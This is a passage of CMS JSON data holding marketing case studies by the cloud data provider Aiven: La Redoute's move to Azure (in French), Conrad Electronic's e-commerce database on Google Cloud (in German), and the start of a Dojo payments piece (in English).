center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-58bb3b036942bf2862c62f77cf55d92680a40658-1090x614-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"61ec1396e4a7","_type":"block","children":[{"_key":"f1bc03e092ae0","_type":"span","marks":[],"text":"L’entreprise s’est lancée dans la migration multi-facettes vers Azure. Pour PostgreSQL, l’équipe de La Redoute avait initialement prévu d’utiliser les outils d’Aiven, offrant une option de migration en un clic entre clouds et régions. Cependant, comme les migrations sont souvent l’occasion de revoir certains détails d’implémentation, l’équipe a saisi l’opportunité de moderniser les scripts Terraform utilisés pour définir la précédente plateforme cloud et de mettre à jour PostgreSQL vers la dernière version. En raison de ces changements, la migration de PostgreSQL a été réalisée en utilisant le cadre traditionnel consistant à construire l’infrastructure cible, puis, après avoir synchronisé les données, à effectuer le basculement."}],"markDefs":[],"style":"normal"},{"_key":"d095d3618551","_type":"block","children":[{"_key":"332e30fd77c70","_type":"span","marks":[],"text":"« La majeure partie de notre temps de migration PostgreSQL a été consacrée à l’automatisation, mais une fois ces sprints achevés, nous avons eu des journées où nous avons migré 25 bases de données. »"}],"markDefs":[],"style":"normal"},{"_key":"a48cea1a7ebf","_type":"image","asset":{"_ref":"image-f8d960e5da9ea803506b11927e13ef0975394b00-1200x628-png","_type":"reference"}},{"_key":"32835fc1f197","_type":"block","children":[{"_key":"2f2d9189026f0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8aa88aa51e81","_type":"block","children":[{"_key":"35ee0e167cb30","_type":"span","marks":[],"text":"Les autres migrations, comme celles d’Aiven for Kafka et Aiven for OpenSearch, ont été beaucoup plus simples et rapides. La Redoute n’ayant pas besoin de modifications, elle s’est appuyée sur les outils de migration en un clic d’Aiven et sur l’expertise de l’équipe Aiven pour préparer, exécuter et surveiller la transition."}],"markDefs":[],"style":"normal"},{"_key":"387be301bfc5","_type":"block","children":[{"_key":"97c2a52fb7fc0","_type":"span","marks":[],"text":"En réfléchissant à la migration cloud, Diogo déclare : « Habituellement, lorsqu’une organisation décide de changer complètement de fournisseur hyperscaler, cela engendre toutes sortes de problèmes. Mais migrer nos services Aiven a été fluide. Le seul inconvénient était de notre côté, avec notre code, que nous avons restructuré. Le fait qu’Aiven soit indépendant du cloud, et que nous puissions changer de cloud d’une simple pression sur un bouton, est une grande victoire pour nous et nous a fait gagner beaucoup de temps. »"}],"markDefs":[],"style":"normal"}],"title":"Migrer une infrastructure cloud en un clic","topOverlap":false,"variant":"oneColumn"},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"ae3eaaa2e4c2","_type":"block","children":[{"_key":"87aca8dd3a580","_type":"span","marks":[],"text":"Le modèle BYOC a permis à La Redoute de réduire le coût total de possession de l’infrastructure cloud Azure liée à ses services Aiven. L’entreprise a réalisé cette réduction en utilisant des plans d’économies de coûts, des remises d’utilisation engagée (Committed Usage Discounts - CUDs) et d’autres fonctionnalités de facturation et de tarification proposées par Microsoft."}],"markDefs":[],"style":"normal"},{"_key":"c1360f855e0f","_type":"block","children":[{"_key":"182da9c1f90f0","_type":"span","marks":[],"text":"« En passant au BYOC, nous avons pris le contrôle de nos coûts cloud. Nous avons pu réduire l’augmentation des coûts, qui est passée de 40 % à 14 %. Cela était tout à fait acceptable pour l’entreprise compte tenu de la transition vers de nouvelles régions Azure, plus coûteuses. Nous avons ensuite lancé des initiatives internes au sein de l’équipe DBA pour transformer cette augmentation en économies nettes, par exemple avec l’arrêt automatisé des bases de données non productives en dehors des heures de travail », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"04626c105e7f","_type":"block","children":[{"_key":"c27d8e2aba210","_type":"span","marks":[],"text":"Un autre avantage clé du déploiement BYOC est qu’il aide La Redoute à répondre aux exigences réglementaires et de conformité, comme le RGPD. « Notre équipe de sécurité apprécie particulièrement le modèle BYOC d’Aiven. Comme toute l’infrastructure de bases de données — y compris les données clients — est désormais sur notre locataire, elle est plus facilement gérée et étroitement contrôlée. »"}],"markDefs":[],"style":"normal"}],"title":"Réduction du TCO et amélioration de la sécurité grâce au BYOC","topOverlap":false,"variant":"oneColumn"},{"_key":"2feef7ff6a67","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"153e21c75060","_type":"block","children":[{"_key":"2aaf512763540","_type":"span","marks":[],"text":"La plateforme Aiven a permis à Diogo d’élargir les capacités de son équipe pour apporter plus de valeur à davantage de domaines de l’entreprise. Désormais, Aiven prend en charge tous les domaines d’activité de La Redoute, de la logistique et du marketing aux systèmes de commande et de paiement."}],"markDefs":[],"style":"normal"},{"_key":"d077cb45e568","_type":"block","children":[{"_key":"2ec702ae366c0","_type":"span","marks":[],"text":"« L’équipe avait auparavant une mentalité traditionnelle de DBA et passait jusqu’à 90 % de sa journée à effectuer des tâches de maintenance, de correction et de mise à jour. Tout cela est désormais géré par Aiven, ce qui libère l’équipe pour se concentrer sur des projets métier et fournir des solutions beaucoup plus rapidement. Nous pouvons déployer des bases de données en quelques minutes plutôt qu’en plusieurs semaines », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"2844129c0142","_type":"block","children":[{"_key":"a0182b536a71","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a090bed0f4e5","_type":"image","asset":{"_ref":"image-04255c482a039b790c034f92e613417090081550-1200x628-png","_type":"reference"}},{"_key":"a7850b244c3e","_type":"block","children":[{"_key":"6ac526ed36130","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"efde2f986d23","_type":"block","children":[{"_key":"31defbbe50520","_type":"span","marks":[],"text":"La Redoute évalue d’autres services Aiven. Diogo déclare : « Nous explorons des opportunités dans la couche d’observabilité avec Grafana et OpenSearch, ainsi que du côté des bases de données avec MySQL. Nous sommes également très intéressés par les capacités d’optimisation basées sur l’IA d’EverSQL by Aiven, notamment si elles s’étendent à d’autres solutions Aiven. »"}],"markDefs":[],"style":"normal"}],"title":"Apporter une valeur stratégique à l’entreprise, plus rapidement","topOverlap":false,"variant":"oneColumn"},{"_key":"d97f5ac05718","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"f02b3fa526c3","_type":"block","children":[{"_key":"e7fbd1e00f610","_type":"span","marks":[],"text":"La Redoute prévoit de standardiser ses opérations numériques dans tous les pays afin d'améliorer l'efficacité et de faciliter le déploiement de nouvelles solutions. « Nous devons construire des systèmes unifiés utilisables par tous les pays, nous permettant de répondre aux besoins de l’entreprise de manière plus rapide et plus agile. Une grande partie de ces systèmes utilisera la plateforme Aiven », explique Diogo."}],"markDefs":[],"style":"normal"},{"_key":"577bf315e2c5","_type":"block","children":[{"_key":"37c42c49c71f0","_type":"span","marks":[],"text":"Ce sentiment est partagé par João Granja, CTO de La Redoute : « Notre engagement envers Aiven dépasse un simple accord contractuel. C’est un partenariat fondé sur la confiance. Aiven a eu un impact transformateur sur notre entreprise, et nous sommes impatients de voir la contribution que ce partenariat apportera au succès de La Redoute dans les années à venir. »"}],"markDefs":[],"style":"normal"}],"title":"Vers l’avenir","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":true,"heroSubtitle":"Acteur majeur du e-commerce dans la maison et la mode, La Redoute migre son infrastructure de données vers Microsoft Azure pour gérer les pics saisonniers de ventes.","heroTitle":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}},"publishedAt":"2024-06-27T12:42:01.407Z","seo":{"_type":"metaData","metaDescription":"Un acteur majeur du e-commerce dans la maison et la mode migre son infrastructure de données vers Microsoft Azure pour gérer les pics saisonniers de ventes.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-436b4bd753779bd43e780801da8722e9224a6cb2-1200x630-png","_type":"reference"}},"metaTitle":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure"},"slug":{"_type":"slug","current":"/case-studies/la-redoute-takes-control-of-cloud-costs-with-byoc"},"title":"La Redoute Maîtrise ses Coûts Cloud grâce à l’Option Bring Your Own Cloud d’Aiven sur Microsoft Azure","ytId":"mPWxizlA3so"} {"__i18n_base":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-06-26T06:58:02Z","_id":"70bc73d4-2f43-4499-9c4f-fbf349c35841__i18n_de","_rev":"PbSF8wjEESeIG4nK3tXjWR","_type":"caseStudy","_updatedAt":"2024-11-28T15:53:56Z","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"db08334384b4","_type":"block","children":[{"_key":"ad8b69cfa81e0","_type":"span","marks":[],"text":"Conrad Electronic mit Sitz in Deutschland bietet eine moderne Beschaffungsplattform für 21 Millionen Kunden weltweit. Das Unternehmen hat sich zum Ziel gesetzt, die führende europäische B2B-Beschaffungsplattform für technischen Bedarf zu werden. Die E-Commerce-Datenbank stellt dabei das Herzstück des Geschäfts dar. Die rasche Expansion der Online-Plattform des Händlers sowie die damit verbundene Datenexplosion machten eine Anpassung der Dateninfrastruktur erforderlich. Diese musste schneller, robuster und skalierbarer werden. Conrad entschied sich für Aiven, um die Open-Source-Datentechnologien PostgreSQL®, Apache Kafka®, OpenSearch® und M3 auf Google Cloud zu verwalten. Die E-Commerce-Plattform profitiert nun von Daten-Streaming in Echtzeit und einer hochstabilen Datenbank, die 11,2 Millionen Anfragen pro Stunde bewältigt und ihren Kunden ein schnelles, erstklassiges Erlebnis bietet. Da Aiven die Dateninfrastruktur in der Cloud verwaltet, können sich die Entwickler von Conrad auf das konzentrieren, was sie am besten können - noch mehr Nutzen für ihre Kunden zu schaffen."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"cdfd4919cd5c","_type":"block","children":[{"_key":"5b45849c49500","_type":"span","marks":[],"text":"Seit 1923 ist Conrad Electronic ein zuverlässiger Partner, wenn es um Technik und Elektronik geht. Heute bietet das Unternehmen als Beschaffungsplattform alles für eine erfolgreiche Beschaffung von technischem Bedarf. Geschäftskunden erhalten bei Conrad genau das, was ihr Projekt oder Geschäft zum Erfolg führt: ein breites und fundiertes Sortiment mit neun Millionen Produkten zur Auswahl, kundenorientierte Lösungen und Services sowie eine persönliche Beratung durch Experten. Das Unternehmen hat sich erfolgreich von einem traditionellen B2C-Händler zu einer internationalen B2B-Beschaffungsplattform entwickelt. Auf conrad.de werden mehr als 9 Millionen Produkte von 6.000 Marken vertrieben – von IT-Ausrüstung und -Werkzeuge bis hin zu Batterien und Automatisierungsprodukten. Die Conrad-Gruppe erwirtschaftet einen Jahresumsatz von mehr als 1 Milliarde Euro und hat sich zum Ziel gesetzt, die führende europäische B2B-Beschaffungsplattform für technischen Bedarf zu werden."}],"markDefs":[],"style":"normal"}],"title":"Eine moderne B2B-Beschaffungsplattform mit 9 Millionen Produkten von 6.000 Marken auf conrad.de","variant":"oneColumn"},{"_key":"19308632851c","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"1b242cf5c4d1","_type":"block","children":[{"_key":"66494faa78350","_type":"span","marks":[],"text":"Die E-Commerce-Plattform von Conrad bietet seinen 21 Millionen Kunden weltweit ein schnelles und bequemes Online-Einkaufserlebnis. Sie können Produkte aller Marken vergleichen und alles, was sie brauchen, an einem Ort kaufen.\n\nDie Datenbank von Conrad ist das zentrale Element der E-Commerce-Aktivitäten und speichert wichtige Daten wie Benutzerprofile, Wunschlisten, Bestellungen, Artikelnummern und Produktpreise. „Unsere Datenbank ist das Herzstück unserer E-Commerce-Plattform. Ohne sie läuft nichts“, sagt Janek Wonner, Head of SRE \u0026 Cloud Technology bei Conrad Electronic.\n\nBis 2020 nutzte Conrad eine selbstverwaltete PostgreSQL-Datenbank für den E-Commerce, die auf Google Cloud lief. Mit der Erweiterung seiner Plattform wollte der Händler auf eine schnellere und robustere Version upgraden. Aufgrund begrenzter Ressourcen gab es jedoch Bedenken hinsichtlich der Durchführbarkeit eines erfolgreichen Datenbank-Upgrades, insbesondere in Anbetracht der erforderlichen Fachkenntnisse.\n\n„Wir können keine Unterbrechung der Datenbankfunktion riskieren - Ausfallzeiten können wir uns nicht leisten. Wenn die E-Commerce-Plattform offline ist, können wir keine Bestellungen bearbeiten. Jede Minute kostet Geld\", so Wonner.\n\nWonner erwog die Option, mit selbstverwaltetem PostgreSQL weiterzumachen, verwarf sie aber schnell wieder. Das Upgrade und die anschließende Verwaltung würden enorme Ressourcen und Fähigkeiten erfordern, die Conrad zu diesem Zeitpunkt einfach nicht zur Verfügung standen."}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL-Upgrade könnte Unterbrechung des E-Commerce-Marktplatzes auslösen","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5f72c480fef5","_type":"block","children":[{"_key":"88463fbcf9f30","_type":"span","marks":[],"text":"Wonner bewertete die PostgreSQL Managed Services von fünf verschiedenen Anbietern anhand einer Vielzahl von Kriterien. Aiven schnitt dabei am besten ab. „Es gab viele Gründe, warum wir uns für Aiven entschieden haben, aber wenn ich die drei wichtigsten nennen müsste, würde ich sagen: großartige Mitarbeiter, Benutzerfreundlichkeit und eine faire, transparente Preisgestaltung\", sagt Wonner. „Für uns war das gesamte Aiven-Setup und der Umgang mit dem Team von Aiven wirklich unkompliziert. Wir haben bei vielen Anbietern Proof of Concepts angefragt und Aiven war bei weitem der unkomplizierteste und schnellste.“\n\nDer Übergang zu Aiven und das anschließende Upgrade auf PostgreSQL verliefen reibungslos. Die Integration der Aiven-Dienste in die Google Cloud hat dies maßgeblich unterstützt. „Es ist sehr erfreulich, dass wir Open-Source-Datendienste wie PostgreSQL von Aiven bekommen, die bereits in der Google Cloud eingerichtet sind. Das spart uns Zeit und Mühe”, bestätigt Wonner. Im Anschluss führte sein Team mehrere Testläufe und Belastungstests durch, danach führte Aiven Kompatibilitätsprüfungen durch, um die notwendigen Anpassungen vor dem Upgrade zu ermitteln. Conrad importierte daraufhin seine gesamte Datenbank in eine Aiven-Instanz und führte mehrere Tests durch, die eine deutliche Beschleunigung der neuen Datenbank nachwiesen. Nach einer erfolgreichen Testphase wurde die neue Lösung in Produktion genommen und von Wonners Team schnell angenommen.\n\n„Aiven hat ein elegantes, einfaches Dashboard, das für unsere Entwickler leicht zu verstehen und zu bedienen ist. Wir können neue Cluster mit ein paar Klicks aufsetzen. Aiven macht PostgreSQL für uns wirklich einfach“, sagt Wonner.\n\nZu diesem Zeitpunkt befand sich das Conrad noch in einer Wachstumsphase und das Unternehmen sah sich mit weiteren Herausforderungen im Bereich der Dateninfrastruktur konfrontiert. Mit der wachsenden Anzahl von Marktplatz-Verkäufern und Produkten stieg auch die Menge der Produktdaten exponentiell an. „Wir benötigten eine Architektur, die das rapide ansteigende Datenvolumen, das zwischen unseren Anwendungen transferiert wurde, besser unterstützen konnte. Apache Kafka erwies sich für das Datenstreaming in Echtzeit als vielversprechend, allerdings war uns bewusst, dass die Verwaltung eine Herausforderung darstellen würde”, sagt Alexander Kaiser, Head of Platform Architecture.\n\nAngesichts des Erfolgs von Aiven for PostgreSQL beschloss das Team, Aiven for Apache Kafka auf Google Cloud zu testen. Auch hier verlief der Übergang reibungslos. „Wir hatten die Befürchtung, dass wir etwas Besonderes tun müssten, damit es mit Aiven funktioniert, aber das war nicht der Fall“, sagt Diego Irismar da Costa, Platform Architect bei Conrad Electronic. „Uns gefällt, dass es sich um die Open-Source-Version von Apache Kafka handelt und nicht um eine angepasste Version mit Anbieterbindung. Wenn wir online recherchieren, wie man Kafka verwendet, gilt das auch für Aiven for Apache Kafka. Das macht es für uns wirklich einfach.“"}],"markDefs":[],"style":"normal"}],"title":"Reibungsloser Übergang zur Aiven-Plattform in der Google Cloud","variant":"oneColumn"},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"89cb3d1e48e0","_type":"block","children":[{"_key":"b7a97699866d0","_type":"span","marks":[],"text":"Seit dem Upgrade auf Aiven for PostgreSQL verfügt Conrad über eine leistungsstarke, schnelle und zuverlässige E-Commerce-Datenbank. Sie bewältigt ein enormes Datenvolumen - 11,2 Millionen Anfragen pro Stunde - und kann problemlos skaliert werden, um Nachfragespitzen zu bewältigen. Das Team von Wonner muss sich nicht mehr um Wartung und Upgrades kümmern, da diese von Aiven mit einer Hochverfügbarkeit (SLA) von 99,99 % verwaltet werden.\n\nPostgreSQL von Aiven lässt sich in führende E-Commerce-Anwendungen integrieren. Dazu gehören die E-Procurement-Lösungen von Conrad, die die Kundenbindung stärken, indem sie den Beschaffungsprozess für B2B-Kunden vereinfachen. So kommuniziert die Datenbank beispielsweise mit dem Open Catalog Interface (OCI) von Conrad. Damit können Kunden den Conrad Marktplatz in ihr SAP-Beschaffungssystem integrieren, um Produkte bequemer zu bestellen und von maßgeschneiderten Angeboten und Rabatten zu profitieren.\n\nEin weiterer Vorteil ist, dass Conrad das Google Cloud VPC Network Peering mit Aiven nutzen kann, wodurch eine Latenz von unter einer Millisekunde erreicht wird. „Wir haben eine große Anzahl von Datenbankabfragen, daher ist die unglaublich niedrige Latenz, die durch das Google Cloud VPC Network Peering ermöglicht wird, für uns sehr wichtig. Sie stellt sicher, dass die E-Commerce-Plattform mit hoher Geschwindigkeit arbeitet, was zu einer besseren Kundenerfahrung führt“, sagt Wonner."}],"markDefs":[],"style":"normal"}],"title":"E-Commerce-Datenbank verarbeitet 11,2 Millionen Anfragen pro Stunde bei einer Betriebszeit von 99,99 % und einer Latenzzeit von unter 1 Millisekunde","variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"2749ce102778","_type":"block","children":[{"_key":"4383a8a5fa060","_type":"span","marks":[],"text":"Durch den Einsatz von Aiven for Apache Kafka kann Conrad die wachsenden Datenmengen, die mit hoher Geschwindigkeit über die E-Commerce-Plattform fließen, skalieren und wichtige Integrationen problemlos durchführen. So nutzt Conrad jetzt Apache Kafka, um Daten aus dem Produktinformationsmanagement (PIM) in Echtzeit an das Produktservice-System zu senden, das Kunden Produktinformationen über eine API zur Verfügung stellt.\n\n„Aiven for Apache Kafka ist jetzt unsere wichtigste Technologie für die Verwaltung des Informationsflusses zwischen den vielen verschiedenen Systemen, die unserem E-Commerce-Marktplatz zugrunde liegen“, sagt Kaiser. „Es ist schnell, zuverlässig und skalierbar.“\n\n\nConrad hat auch begonnen, Aiven for OpenSearch und Aiven for M3 zu nutzen. Diese Dienste werden hauptsächlich verwendet, um Logs und Metriken über Apache Kafka und PostgreSQL zu sammeln, die dann mit Grafana visualisiert werden.\n\n„Die Kombination der Managed Services von Aiven bringt uns große Vorteile. Wir können problemlos neue Dienste hinzufügen, ohne einen neuen Anbieter einbinden zu müssen. Wir können alles von einem Ort aus verwalten. Die Kosten sind transparent, und wir können bei der Planung leicht sehen, wie viel es kosten wird, weitere Dienste in Anspruch zu nehmen“, erklärt Wonner."}],"markDefs":[],"style":"normal"}],"title":"Kontinuierliches Echtzeit Daten-Streaming zwischen Anwendungen","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"f2a66be2a075","_type":"block","children":[{"_key":"ced7ae93cad20","_type":"span","marks":[],"text":"Conrad verfügt nun über eine hochstabile und skalierbare Dateninfrastruktur, die die Grundlage für seine E-Commerce-Plattform bildet und sicherstellt, dass die 200 Millionen Besuche, die Conrad jährlich auf seiner Plattform verzeichnet, stets schnell und zuverlässig abgewickelt werden. Da das tägliche Management von Aiven übernommen wird, können sich die Ingenieure und Entwickler von Conrad darauf konzentrieren, das Kundenerlebnis weiter zu verbessern.\n\n„Wir haben ein kleines Team, das sich um PostgreSQL, Kafka und MongoDB kümmert. Wenn wir das alles selbst machen würden, müssten wir unser Team verdoppeln. Mit Aiven kann sich unser Team auf das konzentrieren, was für unsere Kunden wichtig ist. Mit einer begrenzten Anzahl von Mitarbeitern erreichen wir Großes. Da das Unternehmen weiter wächst, wird Aiven ein starker Partner bleiben\", sagt Kaiser."}],"markDefs":[],"style":"normal"}],"title":"Gemeinsam Großes erreichen - heute und zukünftig","variant":"oneColumn"}],"heroSubtitle":"Die internationale Beschaffungsplattform für technischen Bedarf bietet nun einen noch höheren Kundennutzen, Aiven verwaltet dabei die Cloud-Dateninfrastruktur","heroTitle":"Conrad Electronic baut E-Commerce-Plattform mit Aiven aus","image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"publishedAt":"2023-06-26T10:41:00.000Z","seo":{"_type":"metaData","metaDescription":"International sourcing platform for technical supplies delivers more customer value while Aiven manages its cloud data infrastructure","metaImage":{"_type":"mainImage","asset":{"_ref":"image-367bca89312b776def9b418373f2d59eb54d6d70-3295x1724-png","_type":"reference"}},"metaTitle":"Conrad Electronic Expands E-Commerce Platform with Aiven"},"slug":{"_type":"slug","current":"/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},"title":"Conrad Electronic baut E-Commerce-Plattform mit Aiven aus"} {"__i18n_lang":"en","_createdAt":"2024-09-30T11:42:30Z","_id":"6a76be10-d322-4bb6-b867-51cc286fa0c1","_rev":"WvYfyMjuvK5pr969lNmuuQ","_type":"caseStudy","_updatedAt":"2024-10-03T14:35:01Z","company":{"_ref":"1b22d545-7abf-4b09-b314-93ca43cc3922","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"bd0811327248","_type":"block","children":[{"_key":"1a5ed24dc74b0","_type":"span","marks":[],"text":"Dojo, a rapidly scaling UK tech company, is expanding its operations across Europe and adding new data and AI-driven services to its payment processing services for businesses. With Aiven, the organization has implemented a new data streaming platform that integrates multiple cloud environments, databases and tools. This provides the speed, scalability and resilience that Dojo’s business requires — while giving its teams the autonomy to innovate with data and better serve its customers."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"1a2281decc37","_type":"block","children":[{"_key":"98bbf0a873d80","_type":"span","marks":[],"text":"Dojo is one of the fastest growing tech companies in Europe. It specializes in payment processing services, handling £2.2 million in UK-based transactions every half hour — and more than 35 million transactions every week."}],"markDefs":[],"style":"normal"},{"_key":"232b451dcdff","_type":"block","children":[{"_key":"9736b71e37f70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"97ebfd8a4431","_type":"block","children":[{"_key":"86c7a7b5ed1d0","_type":"span","marks":[],"text":"Today Dojo has more than 150,000 customers and a team of more than 1,000 employees with several offices in UK alone. Initially a card-payment provider for small businesses, it has expanded its services to include Dojo Bookings and the Dojo restaurant finder application, formerly WalkUp, popular with 600 restaurants and 600,000 diners. Dojo is expanding its European footprint and has launched in Southern Ireland and Spain."}],"markDefs":[],"style":"normal"}],"title":"An innovative tech company with big plans","topOverlap":false,"variant":"oneColumn"},{"_key":"e2abd0d2fc35","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-555744d0655654c68c125b8aa421bdc009c43a62-1200x630-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b529f80028ef","_type":"block","children":[{"_key":"89d4010e270f0","_type":"span","marks":[],"text":"“In a heavily regulated industry like payment processing, data reliability is essential. It demands strict guarantees around the security and speed of all payment data,” says Jérémy Barneron, Senior Software Engineer, Dojo. “It is not acceptable for Dojo to lose a single transaction, miss a settlement or experience a delay in processing as this would compromise our customers’ cash flow and revenue streams.”"}],"markDefs":[],"style":"normal"},{"_key":"6a48098821ad","_type":"block","children":[{"_key":"1f0b454c5eaf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cd78220d12ab","_type":"block","children":[{"_key":"294620fa6c600","_type":"span","marks":[],"text":"Dojo prioritized speed and reliability from inception, building a multi-cloud payment solution on AWS, Google Cloud and Oracle Cloud. This microservices-based architecture enabled rapid feature releases and market leadership while mitigating vendor lock-in and enhancing resiliency."}],"markDefs":[],"style":"normal"},{"_key":"58d56319821e","_type":"block","children":[{"_key":"b319fdabc7050","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2d846c988efd","_type":"block","children":[{"_key":"c2b4fd80ada60","_type":"span","marks":[],"text":"This flexible approach enabled the various teams at Dojo to choose a combination of cloud services and databases that worked best for their use cases. However, Dojo found it challenging to navigate the increasing complexity of managing, and extracting value from, data generated by multiple 